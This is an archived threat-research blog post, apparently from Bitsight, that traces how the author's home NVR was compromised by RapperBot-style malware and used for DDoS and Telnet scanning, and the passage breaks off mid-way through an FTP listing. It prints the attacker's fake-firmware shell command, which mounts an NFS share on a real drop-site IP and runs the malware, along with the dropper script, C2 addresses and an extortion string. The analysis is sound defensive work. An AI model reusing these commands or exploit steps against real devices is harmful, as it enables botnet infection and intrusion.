{
	"id": "168a3357-5bc3-43ff-a96b-1c2b828327fa",
	"created_at": "2026-04-06T00:18:38.63813Z",
	"updated_at": "2026-04-10T13:13:03.204261Z",
	"deleted_at": null,
	"sha1_hash": "6e2c0980d245bda5ab45799725a7a3e386442af5",
	"title": "From Infection to DDoS \u0026 More",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2748297,
	"plain_text": "From Infection to DDoS \u0026 More\r\nBy Written by Pedro Umbelino Principal Research Scientist\r\nArchived: 2026-04-05 20:24:02 UTC\r\nThis blog post may sound a bit personal. That’s because it is. It is also a long story, so you might want to grab yourself some\r\ncoffee (or your favorite beverage).\r\nIt was just another day at the office. My home office, that is. I like my home office, it is in the bottom part of my house, like\r\na basement, but only half buried since the house was built on a slope. I’ve been working remotely since long before COVID,\r\nso I had no trouble adjusting when that happened. And I’ve been building this office for over 10 years, so I have a fair\r\namount of equipment down here. Well, it is more like a lab/workshop than an office, to be honest. Working at Bitsight is\r\nfantastic and, for me, this is one of the reasons. Don’t get me wrong, I love the people and our beautiful Lisbon office, but I\r\nreally like being able to work from my home lab. And everyday it feels like I'm going to work outside my house because the\r\nupper floor is not connected to the lower floor. So I have to exit the upper level, go outside, walk around the house, and enter\r\nmy \"office.\"\r\nAnyway, a couple of months ago I was going down to the office and just before I closed the door (on the upper level) I\r\nnoticed my security cameras. I have a homemade set-up with an old screen just next to the front door connected to the NVR\r\n(network video recording) with all my cameras. The screen displayed an “Upgrade” message and a progress bar. Yes, the\r\nPhilips 150S4 is over 20 years old and still works flawlessly, but try to ignore that for a second.\r\n'What the actual....?'\r\nIt hit me in a split second: “I have been pwned!”. With a mix of panic and, I admit, excitement, I rushed to the ethernet\r\ncable and pulled it out while thinking that my Internet connection had been kind of slow in the last few days. “Was it\r\nrelated? Was someone spying on me? Is this new malware? Am I being paranoid and it was just a regular update that never\r\nhappened before? Someone messed with the wrong NVR!”\r\nThe old monitor might already be a hint for the reader: I have a severe problem with getting rid of old stuff which, every\r\nonce in a while, comes in handy. It turns out that I have a couple of old 18 Port, 10 Base-2/5/T Ethernet Workgroup hubs\r\nsitting on the shelf for over 20 years. They are 10 Mbit hubs and still have both a BNC port and 25 pin Serial port, that is\r\nhow old they are! But if you pair one with a running Raspberry PI, it takes literally zero time to set up a sniffing\r\nhttps://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\r\nPage 1 of 27\n\nenvironment that naturally limits any potential DDoS traffic because it simply can’t forward packets any faster. And given\r\nthat it is a hub and not a switch, all ports are mirrored. It took me no time to start sniffing the traffic in a controlled\r\nenvironment and I was so proud to have kept those hubs all this time so they can play a part in this story!\r\nI know there are many ways to set this up, but let me keep the joy of finally finding some use in some very old network\r\ndevices.\r\nI plugged the NVR to the Hub and bam: it lit up like a christmas tree with packet collision warning light bright and shiny. I\r\nwas right to use the Hub although, to be fair, my suspicions were very dim about the DDoS at that time. I thought it was\r\nmore likely to be the video feeds from the cameras to the NVR filling up the traffic cap, since the cameras are high\r\ndefinition and the Hub is, well, 20 years old.\r\nBut it wasn’t the camera’s video feed at all. It was a UDP flood clogging, massively spamming out packets with random\r\ncontent to some target IP addresses on port 80.\r\n(DDoS targets)\r\nhttps://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\r\nPage 2 of 27\n\n(DDoS payload analysis)\r\nFurther packet analysis also showed TCP scans to random IP addresses, mainly on port 23. The network traffic clearly\r\nshowed my NVR was both scanning the Internet for open Telnet (mostly) and participating in some kind of UDP DDoS\r\ncampaign, targeting IPs on UDP port 80 (probably trying to get traffic accepted by misconfigured firewalls that allow all\r\ntraffic on port 80, both TCP and UDP).\r\nThe question is, what ordered the attack? Clearly some malware must be running, and there has to be command and control\r\n(C2) communications happening to define the DDoS targets before it starts. Sure enough, there was a connection to a rogue\r\nIP, on the always suspicious port 4444. Several other obvious questions started to arise. How does the malware find the C2\r\nIPs? Is it hardcoded? Is it DNS based? The comms seem encrypted, what’s the key and protocol format? And how did the\r\nmalware get in the NVR in the first place?\r\nBut by then I was facing an even bigger problem: it’s mid April, I’m jammed with work and I was just days away from\r\nleaving for RSAC and after that straight to GISEC. I had no time to look into this riddle! I had to put everything on standby\r\nand go pack…\r\nJust before I left for RSAC, I was browsing around the network traffic and I noticed that the exploit chain used a NFS mount\r\nto download and execute binaries… NFS share which I proceeded to crawl, mount, monitor, and save locally every single\r\nfile change in the NFS mount. I thought they might come in handy when I got back. And the binary hashes were not on\r\nVirusTotal, which built up my excitement!\r\nTempus fugit. Eventually I was able to get some to go back to this malware puzzle. I decided to fire up the traffic sniffer,\r\nconnect the NVR to the Internet again, collect fresh information and start connecting the dots. While collecting new traffic\r\ninformation, I started to map out the timeline from my old logs to understand how my NVR went from a security device into\r\nan active malware bot, DDoSing the internet and slowing down my home traffic.\r\nJust from analyzing the packet logs, it was possible to get a fairly solid idea on how it worked:\r\n1. The threat actor has a scan infrastructure finding several vulnerable NVRs models, including the brand and model I\r\nhave. The scan IPs do not seem to be shared with other parts of the infrastructure.\r\n2. After identification of the vulnerable device, it runs an appropriated exploit against the target. It does not seem to\r\nspray the target with multiple exploits, but rather use the correct exploit.\r\n3. The exploit tries to download and execute a binary from a malware repository. In the case of my NVR, the exploit\r\nmounts a remote NFS(!?) filesystem and executes the malware binary.\r\n4. The malware tries to solve and get the TXT record of a set of hardcoded domains via hardcoded DNS server IPs.\r\n5. The TXT records contain a list of C2 IP addresses. The malware connects to one IP at a time until a successful C2\r\nconnection is established and it is now under control of the botnet operators.\r\n6. The malware can scan the Internet for open ports (a lot of activity seen on Telnet, TCP port 23).\r\n7. It also can be commanded to conduct DDoS attacks.\r\nhttps://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\r\nPage 3 of 27\n\nIf you are used to looking at malware this should be familiar to you. And if you find immediate similarities to Mirai, you'd\r\nbe completely right.\r\nScanning and exploiting\r\nThe scanner basically scans for exposed webservers and fingerprints vulnerable devices that are exposed directly to the\r\nInternet. You might not be aware that you have an exposed device, or that your device just decides to use UPnP to open a\r\nport on your router (like mine did). After that, it runs targeted exploits against the device.\r\nIn the case of my NVR model, there were two steps involved. The first part of the exploit chain involved a path traversal in\r\nthe webserver to leak valid administrator credentials, both hashed and in cleartext. In the second step a direct connection to\r\nthe administration TCP port, leveraging the gathered credentials, is used to push a fake firmware update.\r\nThe exploit seems to be a zero day. The path traversal was similar to others found in the wild, but not quite the same. It\r\ntargets the webserver, running on port 80, and downloads two account files (Account1 and Account2) which contains a lot of\r\ninformation about the device users:\r\nGET /xxxxxxxxxxxxxxxxxxxxx/Account2 HTTP/1.1\r\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\r\nHost: xxx.xxx.xxx.xxx\r\nUser-Agent: Python-urllib/3.8\r\nConnection: close\r\nHTTP/1.1 200 OK\r\nContent-type: text/plain\r\nServer: uc-httpd/1.0.0\r\nhttps://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\r\nPage 4 of 27\n\nCache-Control: max-age=2592000\r\nConnection: Close\r\n{\r\n \"Groups\" : [\r\n {\r\n \"AuthorityList\" : [\r\n \"ShutDown\",\r\n ...\r\n \"Replay_16\"\r\n ],\r\n \"Memo\" : \"administrator group\",\r\n \"Name\" : \"admin\"\r\n },\r\n ...\r\n ],\r\n \"Users\" : [\r\n {\r\n \"AuthorityList\" : [\r\n \"ShutDown\",\r\n ...\r\n \"Replay_16\"\r\n ],\r\n \"EMail\" : \"\",\r\n \"Group\" : \"admin\",\r\n \"Mac\" : \"\",\r\n \"Memo\" : \"admin 's account\",\r\n \"ModifyTime\" : \"2021-01-13 21:12:10\",\r\n \"Name\" : \"admin\",\r\n \"Password\" : \"xxxxxxxx\",\r\n \"Plain\" : \"xxxxxxxx\",\r\n \"Reserved\" : true,\r\n \"Sharable\" : true,\r\n \"UnlockPattern\" : \"\"\r\n },\r\n ...\r\n {\r\n \"AuthorityList\" : [\r\n \"Monitor_01\",\r\n ...\r\n \"Monitor_16\"\r\n ],\r\n \"Group\" : \"user\",\r\n \"Memo\" : \"default 's account\",\r\n \"ModifyTime\" : \"\",\r\n \"Name\" : \"default\",\r\n \"Password\" : \"OxhlwSG8\",\r\n \"Plain\" : \"tluafed\",\r\n \"Reserved\" : false,\r\n \"Sharable\" : false\r\n }\r\n ]\r\n}\r\n \r\nIn particular, it contains the hashed password and the plaintext password because… reasons?\r\nIt also contains a default user that I now finally know its password.\r\nThe attacker now knows the administrator password and proceeds to connect to the device's administrative port, running on\r\nTCP port 34567. I did not fully reverse engineered the protocol that is used, but the attacker seems to have done so, because\r\nit is clear that he is able to log in with the credentials stolen and proceed to execute a firmware update:\r\nhttps://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\r\nPage 5 of 27\n\nThe TCP stream clearly shows the initial packet with the hashed admin credentials. It also shows the content of the update,\r\nwith a recognizable header “PK.” Could the firmware update be just a zip file? Yes, it could. It is simply a file named\r\nInstallDesc which had the following JSON payload:\r\n{\r\n \"UpgradeCommand\": [\r\n {\r\n \"Command\": \"Shell\",\r\n \"Script\": \"cd /var;umount -f z;mkdir z;mount -o intr,nolock,exec\r\n104.194.9.127:/nfs z;z/z;umount -f z;((cat .r||ls .r)\u0026\u0026(sleep 172800||busybox sleep 172800));rm -rf z .r\"\r\n }\r\n ],\r\n \"Hardware\": \"SkipCheck\",\r\n \"SupportFlashType\": [\r\n {\r\n \"FlashID\": \"SkipCheck\"\r\n }\r\n ],\r\n \"DevID\": \"SkipCheck\",\r\n \"Vendor\": \"SkipCheck\",\r\n \"CompatibleVersion\": -1,\r\n \"CRC\": \"SkipCheck\"\r\n}\r\n \r\nThe ‘update’ runs a set of bash commands, which basically mount a remote NFS share and runs a malicious file, the actual\r\nmalware, straight from that share. I already knew it was downloaded from that IP using NFS by looking at the network logs\r\nbut I was still puzzled. Why use NFS and not just some other simpler way to download and execute? Was it to evade\r\ndetection perhaps?\r\nIt wasn’t until I tried to modify and exploit my own NVR (because I feel I also deserve to be root on it) that I was able to\r\nfigure out why the use of NFS. The busybox binary that runs on the NVR was compiled with very little support for other\r\ntools. No curl, no wget, no ftp, no netcat, no /dev/tcp support. Not even the ping command! After some digging and fighting\r\nwith my payload, one command was available so I could explore the NVR from the inside: telnet. After running the attacker\r\nexploit with a modified payload to spawn telnet on port 2323, I was finally in.\r\nhttps://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\r\nPage 6 of 27\n\ntelnet 192.168.0.239 2323\r\nTrying 192.168.0.239...\r\nConnected to 192.168.0.239.\r\nEscape character is '^]'.\r\n/var # id\r\n/bin/sh: id: not found\r\n/var # whoami# busybox --help\r\nBusyBox v1.20.2 (2019-08-22 14:36:01 CST) multi-call binary.\r\nCopyright (C) 1998-2011 Erik Andersen, Rob Landley, Denys Vlasenko\r\nand others. Licensed under GPLv2.\r\nSee source distribution for full notice.\r\nUsage: busybox [function] [arguments]...\r\n or: busybox --list\r\n or: function [arguments]...\r\n BusyBox is a multi-call binary that combines many common Unix\r\n utilities into a single executable. Most people will create a\r\n link to busybox for each function they wish to use and BusyBox\r\n will act like whatever it was invoked as.\r\nCurrently defined functions:\r\n ash, awk, cat, chmod, cp, cttyhack, dd, df, dhcprelay, dmesg, dumpleases,\r\n echo, fdisk, free, getty, halt, hush, ifconfig, init, insmod,\r\n kill, killall, linuxrc, ln, login, ls, lsmod, lzcat, lzma, mkdir, mkdosfs,\r\n mkfs.vfat, mknod, mount, msh, mv, netstat, passwd, ping, poweroff, ps,\r\n pwd, readahead, reboot, rm, rmmod, route, sed, sh, sleep, tar, telnetd,\r\n tftp, top, touch, udhcpc, udhcpd, umount, unlzma, unxz, unzip, vi, xz, xzcat\r\n/var #\r\nNo wonder the attackers choose to use NFS mount and execute from that share, this NVR firmware is extremely limited, so\r\nmounting NFS is actually a very clever choice. Of course, this means the attackers had to thoroughly research this brand and\r\nmodel and design an exploit that could work under these limited conditions.\r\nThe attacker also was observed to brute force the admin password. This further cements the idea that they have solid\r\nknowledge of the device and the protocols it uses.\r\n(a brute-force attempt, notice the Ny25RZzv password hash, which failed to login on my system)\r\nDownload and execute\r\nIt is now clear how the exploit works and how it downloads and executes the payload from the NFS share. The malware is a\r\nfile named z , executed after mounting the /nfs share on the NVR device under the directory also named z .\r\n\"cd /var;umount -f z;mkdir z;mount -o intr,nolock,exec 104.194.9.127:/nfs z;\r\nz/z;\r\numount -f z;((cat .r||ls .r)\u0026\u0026(sleep 172800||busybox sleep 172800));rm -rf z .r\"\r\nGiven it is a NFS share, nothing keeps me from mounting it and exploring a bit. I want to try to understand the malware. The\r\nshare, however, hosts many different files for several ARM versions and the z file seems to be just a script.\r\nhttps://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\r\nPage 7 of 27\n\nroot@localhost:~/nfs-104.194.9.127# ls -la\r\ntotal 5736\r\ndrwxr-xr-x 2 root root 4096 Apr 15 10:48 .\r\ndrwxr-xr-x 10 root root 4096 Apr 15 10:59 ..\r\n-rwxrwxrwx 1 root root 105424 Apr 21 13:44 armv4eb\r\n-rwxrwxrwx 1 root root 60826 Apr 21 13:44 armv4eb.gz\r\n-rwxrwxrwx 1 root root 108396 Apr 21 13:44 armv41\r\n-rwxrwxrwx 1 root root 61304 Apr 21 13:44 armv41.gz\r\n-rwxrwxrwx 1 root root 108444 Apr 21 13:44 armv51\r\n-rwxrwxrwx 1 root root 61359 Apr 21 13:44 armv51.gz\r\n-rwxrwxrwx 1 root root 108756 Apr 21 13:44 armv61\r\n-rwxrwxrwx 1 root root 60849 Apr 21 13:44 armv61.gz\r\n-rwxrwxrwx 1 root root 118792 Apr 21 13:44 armv71\r\n-rwxrwxrwx 1 root root 66446 Apr 21 13:44 armv71.gz\r\n-rwxrwxrwx 1 root root 189 Feb 21 00:28 e\r\n-rwxrwxrwx 1 root root 160 Apr 14 06:28 f\r\n-rwxrwxrwx 1 root root 41 Apr 14 07:40 h\r\n-rwxrwxrwx 1 root root 158 Apr 21 23:49 k\r\n-rwxrwxrwx 1 root root 166 Feb 17 22:31 l\r\n-rwxrwxrwx 1 root root 164 Apr 7 08:58 n\r\n-rwxrwxrwx 1 root root 170 Apr 14 08:05 p\r\n-rwxrwxrwx 1 root root 87980 Apr 14 07:30 sarmv51\r\n-rwxrwxrwx 1 root root 168 Apr 17 22:28 t\r\n-rwxrwxrwx 1 root root 209980 Apr 14 07:54 tarmv41\r\n-rwxrwxrwx 1 root root 209940 Apr 14 07:35 tarmv51\r\n-rwxrwxrwx 1 root root 218440 Apr 14 07:54 tarmv61\r\n-rwxrwxrwx 1 root root 230816 Apr 14 07:54 tarmv71\r\n-rwxrwxrwx 1 root root 146 Feb 17 08:05 u\r\n-rwxrwxrwx 1 root root 168 Apr 17 22:27 z\r\nroot@localhost:~/nfs-104.194.9.127# cat z\r\n#!/bin/sh\r\ncd /var\r\nrm -rf .r\r\n./z/armv71 memes \u0026\u0026 (\u003e .r; exit)\r\n./z/armv61 memes r \u0026\u0026 (\u003e .r; exit)\r\n./z/armv51 memes r \u0026\u0026 (\u003e .r; exit)\r\n./z/armv41 memes r \u0026\u0026 (\u003e .r; exit)\r\nThe exploit was very targeted but the script, however, tries to run every ARM version binary just in case. To be fair, it is not\r\na terrible approach and it is the most likely to succeed.\r\nEach binary is a static, stripped and string encrypted binary which makes reversing harder and slower. It deletes itself from\r\nthe file system after running, has anti debugger tricks and is generally not straightforward to look at from a reverse\r\nengineering perspective.\r\nOne of interesting decrypted strings that led me to think this was RapperBot was this particular one:\r\n\"Donate $5,000 in XMR to\r\n(48SFiWgbAaFf75K5sRSEEr4iDcxrevFzVmhgfb6Qudss52JK8cCR8bmUxNBPN2VmqDTucJL3eabiZc5XRYVGKb\r\nh6BH58ytk) to be blacklisted from this and future botnets from us. Contact:\r\nhorse@riseup.net with TxID and IP Range/ASN\"\r\nI mean, maybe this one string with the payment address shouldn’t be encrypted? Anyway, that email together with some\r\ninternal conversations eventually led me to RapperBot, but only after some weeks in the dark. But I’ll get to that and to\r\nreversing these binaries a bit later.\r\nAt this point, there were already submissions in VirusTotal for all of the binaries available in the NFS mount:\r\nhttps://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\r\nPage 8 of 27\n\nFILENAME | SHASUM SHASUM SHASUM SHASUM SHASUM SHASU | VT First Submission Date\r\narmv4eb | e3ea091e86e439d3b8f6410c2f6d75642de9acdf | 2025-04-22 16:25:13\r\narmv4l | ab05f0253641008f61235ff9b46b04f44d735501 | 2025-04-22 16:25:11\r\narmv5l | 5813d7e4d886d6ad629807e73e286b3d77d3f915 | 2025-04-22 16:25:08\r\narmv6l | 262a2bd2f70ae363664205a7f6954b6c4a483275 | 2025-04-22 16:25:07\r\narmv7l | 83a1cb488346dbbb000d32c483673a1f40606df3 | 2025-04-22 16:25:11\r\nsarmv5l | 5ab15468ac13dcc1f1bf664892ba30302b1fda67 | 2025-02-17 07:45:12\r\ntarmv4l | aae3b35e3ef542dd34a08abbfcab5b55e7c8e8a4 | 2025-02-17 04:44:57\r\ntarmv5l | edc837115fba58fb6ad7924d91ba1b8bc4718cfa | 2025-02-17 04:39:57\r\ntarmv6l | 42c078a6167575acd985bf5ee03b8bc00556de3d | 2025-02-17 04:40:02\r\ntarmv7l | 04202bbb853932243d1e3b0c1cf97df72f9c6349 | 2025-02-21 00:27:44\r\nInteresting to note, some files have detections far back in February. There are also many different scripts besides the z script,\r\nbut I’ll get to that in a bit.\r\nCommand and control discovery and comms\r\nAfter execution, the malware in the NVR deletes itself from the filesystem (if it was there) and runs from memory. It forks\r\nand alters its own process names. There seems to be no persistence mechanism, likely relying on continuous reinfection.\r\nAs previously mentioned, the malware has some hardcoded DNS names that it tries to resolve using two DNS servers,\r\n1.1.1.1 and 65.21.1.106. But the DNS names are not solved as the C2 IP addresses directly, but rather it is their TXT records\r\nthat contain the information about the C2 IP addresses as a pipe separated list:\r\niranistrash.libre: type TXT, class IN\r\n Name: iranistrash.libre\r\n Type: TXT (16) (Text strings)\r\n Class: IN (0x0001)\r\n Time to live: 0 (0 seconds)\r\n Data length: 58\r\n TXT Length: 57\r\n TXT: 4.3.2.1|82.24.200.59|62.146.235.220|185.224.3.231|1.2.3.4\r\npool.rentcheapcars.sbs: type TXT, class IN\r\n Name: pool.rentcheapcars.sbs\r\n Type: TXT (16) (Text strings)\r\n Class: IN (0x0001)\r\n Time to live: 60 (1 minute)\r\n Data length: 26\r\n TXT Length: 25\r\n TXT: 82.24.200.45|82.24.200.45\r\nOn the first TXT record, the list seems to be between two delimiters: 4.3.2.1 and 1.2.3.4. The second TXT record, however,\r\nseems to be just a straight list, with the same IP. Back in July only 65.21.1.106 responded to the DNS resolution requests and\r\nthe answer shows that the C2 infrastructure has rotated too.\r\n% dig -t txt iranistrash.libre @65.21.1.106\r\n; \u003c\u003c\u003e\u003e DiG 9.10.6 \u003c\u003c\u003e\u003e -t txt iranistrash.libre @65.21.1.106\r\n...\r\n;; QUESTION SECTION:\r\n;iranistrash.libre. IN TXT\r\n;; ANSWER SECTION:\r\niranistrash.libre. 1 IN TXT\r\n\"1.2.3.4|185.218.87.28|194.226.121.51|188.92.28.62|192.145.28.71|45.89.63.25|185.218.87.29|1.2.3.4\"\r\n...\r\nAfter getting the C2 list, the malware connects to each IP until it finds one with which it can establish a proper connection\r\nand starts to exchange encrypted packets with the C2. The C2 will now take charge, ordering the bot to scan, perform DDoS\r\nhttps://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\r\nPage 9 of 27\n\nattacks and other activities.\nIt is relevant to note that .libre is a top-level domain not recognized by standard DNS infrastructure. It is part of the\nOpenNIC project, which is an alternative DNS root operated independently of ICANN. The malware circumvents this\nlimitation by directly querying an OpenNIC resolver (65.21.1.106), effectively bypassing standard DNS resolution paths and\nenabling the use of domains that are more resistant to takedown or detection via conventional monitoring mechanisms.\nThe natural thing to do next is to grab the binaries and start reversing away, designing config extractors, comms decryptors\nand so on but… something happened.\nI’m not a threat researcher and I do work with a team full of threat researchers, but I admit I was annoyed enough to take\nthis personally. It was my NVR, my cameras, I wanted to know what happened by myself and swore I wouldn’t stop until I\ndid.\nSo I set up a Raspberry PI QEMU image in order to run the ARM binaries and examine the guts of the malware in action, at\nthe same time that I fire up Ghidra, WireShark, and some of my tools. I knew already that it wasn’t going to be dead simple,\ni.e.:\n% file armv71\narmv71: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped\n% strings -10 armv71\nO`{d~h(l)|ymh)l`)?y){fn{1zz\n+:#%:/$$*/d^8~J\nqjyvqk|xljykp6tqzj}d{pmj{pw~pwttaoww|6tqzj}dq\nm}kkqup}}}6tqzj}\n+'ar+sepql`kc\nm\u0026^4m70#, \u0026~/B\nu+0sw^16w:::++!7 $w:16w+0$/9, :0?z?3+?/(576X\nLgf|im,(,~$888(af(PEZ((|g( \u003c0|Na_oj1Inn?c{Z[IMMzY)}1{(::BC0kKZ0j\ne|pJFXF:^Ae\\\\)\\\\|\\\\)kBD;mja\u0026RK=PZQ^0c} \u003e'Je=0Ql:|(lg(jm(jdidkcda|ml(nzge(|`a`(if1(n)|zm(jg|fm|((nzge(){\u0026(Kgf|i\n2(`gz(mh2a{m)x\u0026fml(\na|`(\\\\pAL(if1(AX(Zifom'|F[\n{l)F^bea|icm\u0026gke8|\nt{|)f\u0026~gq{\u0026fdt{|)f9d\u0026oggodm\u0026gket{|}f;\u0026d\u0026oggodm\u0026gket{|}f\u0026~gax{|}f|\u0026k\nget{|}f\u0026afm|\u0026fm|\ne/\u003ee)8/9%\u0026d%$,J\n#(mxodchk#\n++-8PJ\u003e/.0.%\u003eIwp(%\u003e*f(*7~_nnr(I{l(uwj1+)\u003e0~(\u003e6VUJSR2\u003erwu(y?{y[uq7\u003e)v|qs{1/~-*0.0.0.\u003eM\nTvcpuwxc,7)91TXzpwmvjg^9Pwm|u9Txz9VJ9A9)(?)(F,.09XiIuN|(RPm6,.+7*/9|RQMTU5U9pr|9^|zrv09Zqkvt|6(*~7)7)9Jx\nxkp6,* .7*/\nOk, encrypted strings and static stripped binary. I had it worse, but it was annoying. The executable would self delete, so I\nneed to copy it before each run. It would fork multiple times, it would kill itself and/or GDB because it would detect being\ndebugged. It took me a while before I got it instrumentalized as I wanted, and then I looked at the traffic.\nThere was no DNS request for those domains! In fact, the DNS requests going out were strange, looked like DGA (Domain\nGeneration Algorithm) host names and the replies were surely at least encoded!\nhttps://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\nPage 10 of 27\n\nWhat was going on? Why am I getting such different results? I was confused for a while until I realized I was actually\r\nlooking and running the wrong binary. I updated my binaries with newer versions and the behavior had changed! Could it be\r\na completely different malware or an evolution of the old one?\r\nBack to the drawing board!\r\nIt was clear I had to analyse the traffic again to gain an understanding of what was going on. The behaviour turned out to be\r\nsimilar but with interesting and important nuances: not only the binaries are different, but the IPs that support the entire\r\ninfrastructure are different too: the scanner and the C2s. One IP, however, remains the same: the malware repository (the\r\naccurate technical term is malware drop site, as my Threat Researcher colleagues point out).\r\nAdditional reconnaissance on the repository IP address showed more ports open than just the NFS one.\r\n# nmap -p 0-65535 104.194.9.127 --open -sV\r\nStarting Nmap 7.60 ( https://nmap.org )\r\nNmap scan report for 104.194.9.127\r\nHost is up (0.075s latency).\r\nNot shown: 65520 closed ports, 4 filtered ports\r\nPORT STATE SERVICE VERSION\r\n1/tcp open tcpmux?\r\n21/tcp open ftp pyftpdlib 2.0.1\r\n22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)\r\n111/tcp open rpcbind 2–4 (RPC #100000)\r\n2049/tcp open nfs_acl 3 (RPC #100227)\r\n7581/tcp open unknown\r\n36433/tcp open tcpwrapped\r\n41547/tcp open nlockmgr 1–4 (RPC #100021)\r\n43129/tcp open mountd 1–3 (RPC #100005)\r\n43297/tcp open mountd 1–3 (RPC #100005)\r\n45879/tcp open mountd 1–3 (RPC #100005)\r\n59891/tcp open tcpwrapped\r\nService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel\r\nStrange ports are open, like port 1, 7581 or 36433, but some others are quite common like SSH and one that immediately\r\ngrabbed my attention: FTP port 21 . Does it have anonymous access? Yes, it does. Probably as a means to download and\r\nexecute from other compromised systems, which support FTP transfers, so it makes sense. Here’s the content on July 16th:\r\nShell\r\nhttps://www.bitsight.com/blog/rapperbot-infection-ddos-split-second\r\nPage 11 of 27\n\n1 0 drwxr-xr-x 1 root root 1024 Jan 1 1970 .\r\n 3 4 -rwxr-xr-x 1 root root 143 Jun 27 06:53 ./c\r\n138 572 -rw-r--r-- 1 root root 581935 Jul 16 01:13 ./dropbearmulti\r\n 6 4 -rwxr-xr-x 1 root root 1423 Jul 2 07:32 ./f\r\n 7 4 -rwxr-xr-x 1 root root 709 Jul 2 07:32 ./g\r\n 98 4 -rwxr-xr-x 1 root root 568 Jul 9 15:59 ./i\r\n 8 4 -rwxr-xr-x 1 root root 983 Jul 13 17:24 ./k\r\n 9 4 -rwxr-xr-x 1 root root 988 Jul 13 17:24 ./l\r\n 10 4 -rwxr-xr-x 1 root root 382 Jul 2 07:32 ./m\r\n 11 4 -rwxr-xr-x 1 root root 1302 Jul 2 07:32 ./n\r\n139 176 -rwxr-xr-x 1 root root 1779784 Jul 16 01:16 ./netcat\r\n140 96 -rwxr-xr-x 1 root root 96644 Jul 16 03:09 ./netstat-mips\r\n 14 1 -rwxr-xr-x 1 root root 1437 Jul 2 07:32 ./p\r\n 12 4 -rwxr-xr-x 1 root root 1809 Jul 2 07:32 ./r\r\n 13 4 -rwxr-xr-x 1 root root 2148 Jul 19 10:55 ./s\r\n 14 4 -rwxr-xr-x 1 root root 4496 Jul 10 07:55 ./ss\r\n 32 4 drwxr-xr-x 1 root root 15 Dec 25 2024 ./ss/.ssh\r\n111 2796 -rwxr-xr-x 1 root root 2866931 Jul 10 07:54 ./ss/a.zip\r\n112 188 -rwxr-xr-x 1 root root 190792 Jul 10 07:53 ./ss/arc\r\n113 116 -rwxr-xr-x 1 root root 117369 Jul 10 07:54 ./ss/arc.gz\r\n114 144 -rwxr-xr-x 1 root root 146368 Jul 10 07:53 ./ss/armv4eb\r\n115 84 -rwxr-xr-x 1 root root 83768 Jul 10 07:54 ./ss/armv4eb.gz\r\n116 148 -rwxr-xr-x 1 root root 147988 Jul 10 07:53 ./ss/armv41\r\n117 204 -rwxr-xr-x 1 root root 84886 Jul 10 07:54 ./ss/armv41.gz\r\n118 148 -rwxr-xr-x 1 root root 148132 Jul 10 07:54 ./ss/armv51\r\n119 184 -rwxr-xr-x 1 root root 85191 Jul 10 07:54 ./ss/armv51.gz\r\n120 84 -rwxr-xr-x 1 root root 146384 Jul 10 07:54 ./ss/armv61\r\n121 94 -rwxr-xr-x 1 root root 63892 Jul 12 09:34 ./ss/armv61.gz\r\n125 160 -rwxr-xr-x 1 root root 162266 Jul 10 07:54 ./ss/armv71\r\n126 80 -rwxr-xr-x 1 root root 89915 Jul 10 07:54 ./ss/armv71.gz\r\n122 152 -rwxr-xr-x 1 root root 153848 Jul 10 07:54 ./ss/i686\r\n123 80 -rwxr-xr-x 1 root root 76808 Jul 10 07:54 ./ss/i686.gz\r\n107 188 -rwxr-xr-x 1 root root 188933 Jul 10 07:54 ./ss/mips\r\n124 92 -rwxr-xr-x 1 root root 92288 Jul 10 07:54 ./ss/mips64\r\n129 144 -rwxr-xr-x 1 root root 94355 Jul 10 07:54 ./ss/mips64.gz\r\n116 192 -rwxr-xr-x 1 root root 193616 Jul 10 07:54 ./ss/mipsel\r\n127 220 -rwxr-xr-x 1 root root 222724 Jul 10 07:54 ./ss/mipsel64\r\n128 116 -rwxr-xr-x 1 root root 115974 Jul 10 07:54 ./ss/mipsel64.gz\r\n129 144 -rwxr-xr-x 1 root root 145896 Jul 10 07:54 ./ss/powerpc\r\n130 84 -rwxr-xr-x 1 root root 83269 Jul 10 07:54 ./ss/powerpc.gz\r\n131 164 -rwxr-xr-x 1 root root 165692 Jul 10 07:54 ./ss/riscv32\r\n132 160 -rwxr-xr-x 1 root root 161825 Jul 10 07:54 ./ss/riscv32.gz\r\n133 160 -rwxr-xr-x 1 root root 162048 Jul 10 07:54 ./ss/sh4\r\n135 156 -rwxr-xr-x 1 root root 155884 Jul 10 07:54 ./ss/sparc\r\n108 152 -rwxr-xr-x 1 root root 904 Jul 2 07:32 ./v\r\n 17 4 -rwxr-xr-x 1 root root 2395 Jul 2 07:32 ./u\r\n 18 4 drwxr-xr-x 2 root root 4096 Aug 2 21:47 ./vv\r\n 65 0 -rwx------ 1 root root 0 Dec 25 2024 ./vv/.vnlla\r\n163 116 -rwxr-xr-x 1 root root 118480 Jul 8 21:41 ./vv/aarch64\r\n 67 148 -rwxr-xr-x 1 root root 94694 Jun 18 09:11 ./vv/arc\r\n 68 92 -rwxr-xr-x 1 root root 96529 Jun 18 09:11 ./vv/arc.gz\r\n 69 160 -rwxr-xr-x 1 root root 151712 Jun 18 09:11 ./vv/armv4eb\r\n 70 64 -rwxr-xr-x 1 root root 59727 Jun 18 09:11 ./vv/armv4eb.gz\r\n 71 60 -rwxr-xr-x 1 root root 60656 Jun 18 09:11 ./vv/armv41\r\n 72 60 -rwxr-xr-x 1 root root 60747 Jun 18 09:11 ./vv/armv41.gz\r\n 73 108 -rwxr-xr-x 1 root root 108428 Jun 18 09:11 ./vv/armv51\r\n 74 68 -rwxr-xr-x 1 root root 61686 Jun 18 09:11 ./vv/armv51.gz\r\n 75 104 -rwxr-xr-x 1 root root 165556 Jun 18 09:11 ./vv/armv61\r\n 76 60 -rwxr-xr-x 1 root root 60159 Jun 18 09:11 ./vv/armv61.gz\r\n 77 